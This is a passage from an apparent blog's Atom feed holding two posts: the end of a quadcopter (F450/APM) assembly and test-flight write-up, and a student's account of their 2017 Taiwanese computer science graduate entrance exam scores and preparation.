<p>測試完，方向都對了之後，就把熱縮管吹死，然後線固定好<br>接著，可以把上板鎖上機臂<br>飛控板是裝在上板而不是下面的分電板<br>在裝飛控板之前，我們先來裝個減震座<br>(因為飛控板的sensor對震動很敏感，需要盡量減震來降低誤差)<br><img src="http://i.imgur.com/wcB8epK.jpg" alt="Imgur"><br><img src="http://i.imgur.com/44eBQu2.jpg" alt="Imgur"><br><br><br>飛控板就是裝在這上面，所以我黏個厚雙面膠上去，再放飛控<br><img src="http://i.imgur.com/aMyumNc.jpg" alt="Imgur"><br><br></p>
<p>再來就是要幫飛控各種接線了<br>首先要給飛控供電，我們要把我們電源線接上電源模組<br>然後一邊插上飛控(應該有個標PM的地方可以插)，另一邊就是到時候接電池<br>然後飛控的input接接收器，output接電變<br>這邊的線正負都別搞反，然後接法這裏就略過<br>都接好應該會長這樣：<br><img src="http://i.imgur.com/Z6gzKaO.jpg" alt="Imgur"><br><br></p>
<p>可以開始給馬達裝槳了<br>槳有分正槳跟反槳<br>可以參考這張圖：<br><img src="https://lh4.googleusercontent.com/-raQ3RPZ5xdY/U-NXQST3A0I/AAAAAAAAAQ8/KS9KEI8dnmI/prop_direction-2014-08-7-17-28.jpg" alt="引用自https://oaione.blogspot.tw/2014/08/pixhawk-iii.html"><br>至於哪個馬達該裝哪種槳，可以看上面馬達方向的那個圖，有詳細說明<br>然後把槳墊片、子彈頭啥的都裝上去後，會像這樣：<br><img src="http://i.imgur.com/hnaAlZD.jpg" alt="Imgur"><br><img src="http://i.imgur.com/9w1rV0K.jpg" alt="Imgur"><br>切記：子彈頭一定要鎖緊!!! 我在試飛的時候，有因爲以為自己鎖緊，結果槳飛掉的事件發生G_G<br><br></p>
<p>喔對，APM也要校正、更新韌體有的沒的<br>基本上就是載APM planner來裝，然後USB接上APM板<br>然後照他軟體規定的方式校正和設定<br>我記得好像要校正完才能飛，但步驟有點複雜，這裏也略過<br>請參考最下面的參考資料<br><br></p>
<p>要飛之前，要先用遙控器解鎖<br>我看大家都說油門推到右下是解鎖<br>可是我這台是推到左下…不知為啥<br>測試影片：</p>
<iframe src="https://drive.google.com/file/d/0B0u00oV7NdOiVkVmbWVLUFhEeFk/preview" width="640" height="480"></iframe>

<p><br></p>
<p>試飛的時候一定要在空曠的地方，然後不要讓小屁孩碰到你的遙控器…<br>不然就會像我一樣…被槳尻到手指<br><img src="http://i.imgur.com/XIGdymm.jpg" alt="Imgur"><br>然後在幾次試飛後，螺絲比我想像中容易鬆掉<br>有幾個就不知道噴去哪了<br>似乎可以用螺絲固定劑之類的解決這問題<br><br></p>
<p>那你可能會問…阿GPS勒？<br>嗯…因為組裝有點麻煩，然後又碰到一堆事，像是我去考重機駕照、AIS3…有的沒的<br>所以我還沒裝GPS上去，試飛影片也是，就..等我有空再補吧<br><br></p>
<h2 id="u53C3_u8003_u8CC7_u6599"><a href="#u53C3_u8003_u8CC7_u6599" class="headerlink" title="參考資料"></a>參考資料</h2><p>F450組裝相關影片：<br><a href="https://www.youtube.com/watch?v=GZteV5ZmEic" target="_blank" rel="external">https://www.youtube.com/watch?v=GZteV5ZmEic</a><br><a href="https://www.youtube.com/watch?v=1BNw78W9ZFM" target="_blank" rel="external">https://www.youtube.com/watch?v=1BNw78W9ZFM</a></p>
<p>你也能看見台灣-無人飛機空拍入門： (這系列教學文非常有名，可以看看！)<br><a href="http://www.mobile01.com/topicdetail.php?f=368&amp;t=3853906&amp;p=1" target="_blank" rel="external">http://www.mobile01.com/topicdetail.php?f=368&amp;t=3853906&amp;p=1</a></p>
<p>多軸飛行器DIY教程： (對岸的教材，很詳細，推！)<br><a href="http://www.modouwo.com/ADocumentMenu/DocumentMenu_DocunemtMenuStudy.html" target="_blank" rel="external">http://www.modouwo.com/ADocumentMenu/DocumentMenu_DocunemtMenuStudy.html</a></p>
<p>[DIY]自組四軸空拍機： (這系列的觀念等等的都講得很清楚，推！)<br><a href="https://45so.org/tag/%E5%9B%9B%E8%BB%B8" target="_blank" rel="external">https://45so.org/tag/%E5%9B%9B%E8%BB%B8</a></p>
<p>遙控模型焊接技巧： (不會焊接的可以參考這部，很清楚易懂)<br><a href="https://www.youtube.com/watch?v=busUZ9cA9hI" target="_blank" rel="external">https://www.youtube.com/watch?v=busUZ9cA9hI</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>從以前就一直對四軸相當感興趣<br>覺得身為理工人應該要玩個四軸才對，而且不應該買套裝成品，應該要自己組XD<br>然後最近因為研究歐拉角、姿態等問題，讓我有了想自己買零件組裝的衝動。<br>可是稍微做一下功課發現，如果要組一台F450機架大小的四軸(含遙控器)，大概也至少要5000、6000以上。<br>於是我就忍痛賣掉一部分考研的書，賺了一些錢去某個沒屋頂賣場買了一組6500的套餐<br>但因為RX-701沒貨了，我就改買RX-601，老闆還因此只算我5000多而已，撿了一點便宜。</p>
<h2 id="u958B_u7BB1_u548C_u7D44_u88DD"><a href="#u958B_u7BB1_u548C_u7D44_u88DD" class="headerlink" title="開箱和組裝"></a>開箱和組裝</h2><p>以下的開箱和組裝過程，不會詳細講每一步驟<br>如果想更清楚了解組裝過程，可以參考我最下面的參考資料<br><br><br>]]>
    
    </summary>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
      <category term="開箱" scheme="http://blog.kaibro.tw/tags/%E9%96%8B%E7%AE%B1/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[106 資工所考試心得]]></title>
    <link href="http://blog.kaibro.tw/2017/07/19/106-%E8%B3%87%E5%B7%A5%E6%89%80%E8%80%83%E8%A9%A6%E5%BF%83%E5%BE%97/"/>
    <id>http://blog.kaibro.tw/2017/07/19/106-資工所考試心得/</id>
    <published>2017-07-19T07:02:54.000Z</published>
    <updated>2017-09-11T14:53:25.000Z</updated>
    <content type="html"><![CDATA[<h2 id="u6210_u7E3E"><a href="#u6210_u7E3E" class="headerlink" title="成績"></a>成績</h2><table>
<thead>
<tr>
<th style="text-align:center">系所</th>
<th style="text-align:center">資演</th>
<th style="text-align:center">數學</th>
<th style="text-align:center">計系</th>
<th style="text-align:center">英文</th>
<th style="text-align:center">總分</th>
<th style="text-align:center">結果</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">台大資工</td>
<td style="text-align:center">75</td>
<td style="text-align:center">35</td>
<td style="text-align:center">31</td>
<td style="text-align:center">20</td>
<td style="text-align:center">143.0</td>
<td style="text-align:center">備取18</td>
</tr>
<tr>
<td style="text-align:center">台大電丙</td>
<td style="text-align:center">64</td>
<td style="text-align:center">83</td>
<td style="text-align:center">75</td>
<td style="text-align:center">48</td>
<td style="text-align:center">226.8</td>
<td style="text-align:center">正取</td>
</tr>
<tr>
<td style="text-align:center">交大資工</td>
<td style="text-align:center">59</td>
<td style="text-align:center">47</td>
<td style="text-align:center">57</td>
<td style="text-align:center">X</td>
<td style="text-align:center">163.0</td>
<td style="text-align:center">甲組備6X 乙組備1X</td>
</tr>
<tr>
<td style="text-align:center">清大資工</td>
<td style="text-align:center">68(計科)</td>
<td style="text-align:center">39(計系)</td>
<td style="text-align:center"></td>
<td style="text-align:center">X</td>
<td style="text-align:center">107.0</td>
<td style="text-align:center">正取</td>
</tr>
<tr>
<td style="text-align:center">中央資工</td>
<td style="text-align:center">77</td>
<td style="text-align:center">89</td>
<td style="text-align:center">59</td>
<td style="text-align:center">X</td>
<td style="text-align:center">225.0</td>
<td style="text-align:center">正取</td>
</tr>
</tbody>
</table>
<p><br><br>(開學Update: 最後除了台大資工外全都備上惹)<br><br></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><a id="more"></a>
<p>因為準備考試這段時間還蠻精實，也發生很多神奇的事情<br>覺得應該過個一年以後就會全都忘光光惹<br>所以想來紀錄一下，也可以順便給剛好看到這篇的考生一個參考</p>
<h2 id="u6E96_u5099_u65B9_u5F0F"><a href="#u6E96_u5099_u65B9_u5F0F" class="headerlink" title="準備方式"></a>準備方式</h2><p>基本上我大三下就報名補習班了，不過不是報X碩，是報X點<br>因為我當初覺得報哪家補習班理論上不會差太多<br>重點還是要靠自己努力讀<br>可是到中後期才發現，X碩的教材、課程資源的確屌打X點<br>(X點某科老師真的很雷，講義各種錯，連交大有公布正解都能給錯的答案)<br>不過當然最主要還是靠自己，補習班只是輔助的角色</p>
<p>開始衝刺是大約暑假的時候<br>每天去中原的自習室或圖書館看書<br>讀的時間大概AM 11:00 ~ PM 12:00左右<br>讀的勤一點的時候，會從早上9、10點讀到凌晨1、2點<br>所以讀書的時間算是非常長的<br>這樣也有壞處，就是前期太積極，後期會有點無力<br>而且長時間讀，效率也會愈讀愈低</p>
<p><strong><em>[數學]</em></strong><br>數學的話，準備方式除了上補習班課程外<br>就是在暑假的時候，把課本看完一遍<br>然後之後就是不斷複習跟刷題目<br>考古題的話，大概是最後三個月才拼命刷<br>像台大資工，我就從97刷到105，可以明顯感受到考題趨勢的變化<br>(聽說是有出題教授退休，所以後來風格變化很大)<br>懶得刷題目抓解題技巧的也可以去報題庫班<br>像X點的數學題庫班重點就整理得不錯</p>
<p><strong><em>[資演]</em></strong><br>因為一直有稍微在碰ACM競賽<br>所以這科基本上我沒花太多時間準備，也沒有補題庫班<br>只讀了一些競賽中不會看到的資料結構<br>然後把資結、演算法的筆記快速看過幾遍<br>剩下時間就是一直去刷I2A習題和一些難題<br>因為像台大資工，有幾年很喜歡出一些競賽經典題目或是I2A習題變化<br>可是今年台大就考得偏簡單，有點後悔花時間刷難題</p>
<p><strong><em>[計系]</em></strong><br>台大資工的計系是出了名的詭異<br>計組感覺很愛出比較後面的章節<br>所以我花了很多時間研究幾乎每年都考的GPU<br>然後也花不少時間猜今年會考啥題目<br>也研究了很冷門的Snoopy protocol<br>恐龍本一些比較沒人考過的技術或名詞也都讀了一遍<br>但都沒考出來啊…崩潰!!<br>而其他比較正常的題目，像交大資工<br>我的準備方式就是買一本順眼的筆記來啃，然後一直刷題</p>
<p><br></p>
<h2 id="u53F0_u5927_u8CC7_u5DE5"><a href="#u53F0_u5927_u8CC7_u5DE5" class="headerlink" title="台大資工"></a>台大資工</h2><p>考台大資工時數學和資演各種鬼遮眼、各種粗心計算錯誤<br>數學連第一題送分的反矩陣都算錯(10分)<br><strong><em>“不是反身也不是非反身”</em></strong>也看成<strong><em>“不是反身也不是對稱”</em></strong>(10分)…<br>更別說還考了一題10分的<strong><em>psuedo-inverse</em></strong>惹，補習班老師當初說絕對不會考，我就沒看惹，慘</p>
<p>然後資演複雜度都算錯、LCS填空格也莫名手殘少寫、證明題還寫到一半就打鐘惹…<br>不過居然還有75分，原本以為頂多65<br>所以證明題倒扣啥的應該是嚇唬人的(?<br>感覺只要演算法是對的，就算證明寫爛也不會倒扣吧，我猜<br>因為我很確定我算法是對的，只是證明沒寫完，也寫爛了。<br>考完的時候，聽到一堆人說第一題證明是Dijkstra，我都嚇呆惹<br>這不是怎麼看都是DP嗎(?<br>證明應該就是去證他有最佳子結構跟重複子問題 (我寫到一半就收卷了QQ</p>
<p>計系就跟往年風格類似，比較意外的是居然沒出啥GPU之類的東西<br>原本以為他會考AI、Machine Learning、AlphaGo相關的也沒出，我還花了不少時間準備QQ…<br>不過IoT倒是有猜到就是了，但也沒啥幫助，還是不會寫…<br>最後計系只考31，比預期的還低分QQ</p>
<p>離最低正取只差6.2分，如果少粗心一、兩題就上了<br>只能說考運和細心程度也是很重要的<br>在考數學之前一直覺得自己已經很穩了<br>結果考完數學心情整個跌落谷底 (考的時候外面還有人放Coming home…擾亂心神<br>目標75分以上，結果只考35分，慘慘慘</p>
<p><br></p>
<h2 id="u53F0_u5927_u96FB_u6A5F_u4E19"><a href="#u53F0_u5927_u96FB_u6A5F_u4E19" class="headerlink" title="台大電機丙"></a>台大電機丙</h2><p>電機丙是在資工的隔一天考<br>但因為資工考完就超級大崩潰，回去旅館也沒啥心情看書就睡覺了<br>隔天考前才稍微翻書複習一下<br>結果一個出乎意料的穩住惹<br>離散第一題剛好跟清大某年考古很類似，所以最後尻出來了<br>如果沒看過這題的話，可能真的會寫不出來<br>所以考古題真的很重要啊…少了這一題，我應該就不會正取了<br>但最後一題粗心，範圍沒證到，答案寫4K…還好分數沒全扣掉<br>資演部分，非常慘的2-3-4 tree的top-down insertion沒學過，只會bottom-up，整題噴掉<br>其他題感覺大部份蠻順的，但最後只有64，也不知哪裡噴掉惹G_G</p>
<p><br></p>
<h2 id="u4EA4_u5927_u8CC7_u5DE5"><a href="#u4EA4_u5927_u8CC7_u5DE5" class="headerlink" title="交大資工"></a>交大資工</h2><p>考前就有在猜今年會不會教授一個狂，資演改出手寫題，結果還真的就出手寫題惹G_G<br>資演的話其實難度算蠻簡單的，可是我也不知為啥就是一整個粗心<br>水題各種眼幹算錯，連有一題陷阱題明明就知道他的陷阱在哪<br>卻還是一個自己跳進陷阱爆掉QQ</p>
<p>數學一整個悲劇，很多題目想不出來怎麼解，不然就是計算量太大<br>一直算錯，然後先跳下一題算，又一樣算很久又算錯<br>所以整體時間分配有點悲劇，寫不完<br>一些基本題也因為這樣慌了，結果粗心噴掉，慘。</p>
<p>計系的話，寫起來覺得很簡單，可是倒扣，扣一扣分數還是很難看…</p>
<p><br></p>
<h2 id="u6E05_u5927_u8CC7_u5DE5"><a href="#u6E05_u5927_u8CC7_u5DE5" class="headerlink" title="清大資工"></a>清大資工</h2><p>寫過105年題目，以為今年計系也會考很簡單，結果拿到考卷就傻眼惹<br>題目狂的程度幾乎不輸台大，連要掰都很難掰QQ<br>計科部分印象中有7面，題目算蠻多的，所以我一個慢慢寫，到後面就有點寫不完G_G<br>計科整體難度偏簡單，不過還是粗心噴了幾題…</p>
<p><br></p>
<h2 id="u4E2D_u592E_u8CC7_u5DE5"><a href="#u4E2D_u592E_u8CC7_u5DE5" class="headerlink" title="中央資工"></a>中央資工</h2><p>中央的話，就沒特別準備，只寫幾份考古就上場了<br>計系部分考了幾題卡諾圖、邏輯等題目<br>這部分其他學校幾乎不考，所以很多人直接放掉沒讀，有點可惜<br>其他像是計算機網路的部分也會考，像IPv4、IPv6等等的基本觀念會考<br>演算法部分，我覺得題目出得還算有趣，考了一題點上有權重的Dijkstra<br>數學離散很多怪題目，線代就幾乎都考古題<br>不過整體考題都偏簡單，穩住基本題就夠</p>
<p><br></p>
<h2 id="u7D50_u8AD6"><a href="#u7D50_u8AD6" class="headerlink" title="結論"></a>結論</h2><p>考完這麼多間的感想就是，很多學校的題目都很狂、故意刁難人<br>有的題目幾乎沒啥鑑別度，但你不會的別人通常也不會(題目難的很難，簡單的很簡單)<br>所以真的穩住基本題大概就會上惹。<br>如果跟我一樣考試容易粗心，就很容易分數會居居…<br>尤其是數學，成敗的關鍵幾乎就看這科惹<br>這科分數對大家來說相對較好掌握<br>所以如果這科粗心或放掉不讀，可能差距就一下子拉很大惹<br><br><br>然後也很感謝準備過程中有很多人幫忙<br>像某學姊直接借我整套X碩題庫班講義<br>還有Grad-ProbAsk的各種大神幫忙解題<br>雖然過程中也損失了不少東西<br>像我的iphone被車子壓爆、趕補帶結果出車禍等等…<br>但最後還是有摸到個112也不錯了<br>希望能準時畢業QQ</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="u6210_u7E3E"><a href="#u6210_u7E3E" class="headerlink" title="成績"></a>成績</h2><table>
<thead>
<tr>
<th style="text-align:center">系所</th>
<th style="text-align:center">資演</th>
<th style="text-align:center">數學</th>
<th style="text-align:center">計系</th>
<th style="text-align:center">英文</th>
<th style="text-align:center">總分</th>
<th style="text-align:center">結果</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">台大資工</td>
<td style="text-align:center">75</td>
<td style="text-align:center">35</td>
<td style="text-align:center">31</td>
<td style="text-align:center">20</td>
<td style="text-align:center">143.0</td>
<td style="text-align:center">備取18</td>
</tr>
<tr>
<td style="text-align:center">台大電丙</td>
<td style="text-align:center">64</td>
<td style="text-align:center">83</td>
<td style="text-align:center">75</td>
<td style="text-align:center">48</td>
<td style="text-align:center">226.8</td>
<td style="text-align:center">正取</td>
</tr>
<tr>
<td style="text-align:center">交大資工</td>
<td style="text-align:center">59</td>
<td style="text-align:center">47</td>
<td style="text-align:center">57</td>
<td style="text-align:center">X</td>
<td style="text-align:center">163.0</td>
<td style="text-align:center">甲組備6X 乙組備1X</td>
</tr>
<tr>
<td style="text-align:center">清大資工</td>
<td style="text-align:center">68(計科)</td>
<td style="text-align:center">39(計系)</td>
<td style="text-align:center"></td>
<td style="text-align:center">X</td>
<td style="text-align:center">107.0</td>
<td style="text-align:center">正取</td>
</tr>
<tr>
<td style="text-align:center">中央資工</td>
<td style="text-align:center">77</td>
<td style="text-align:center">89</td>
<td style="text-align:center">59</td>
<td style="text-align:center">X</td>
<td style="text-align:center">225.0</td>
<td style="text-align:center">正取</td>
</tr>
</tbody>
</table>
<p><br><br>(開學Update: 最後除了台大資工外全都備上惹)<br><br></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2>]]>
    
    </summary>
    
  </entry>
  
</feed>
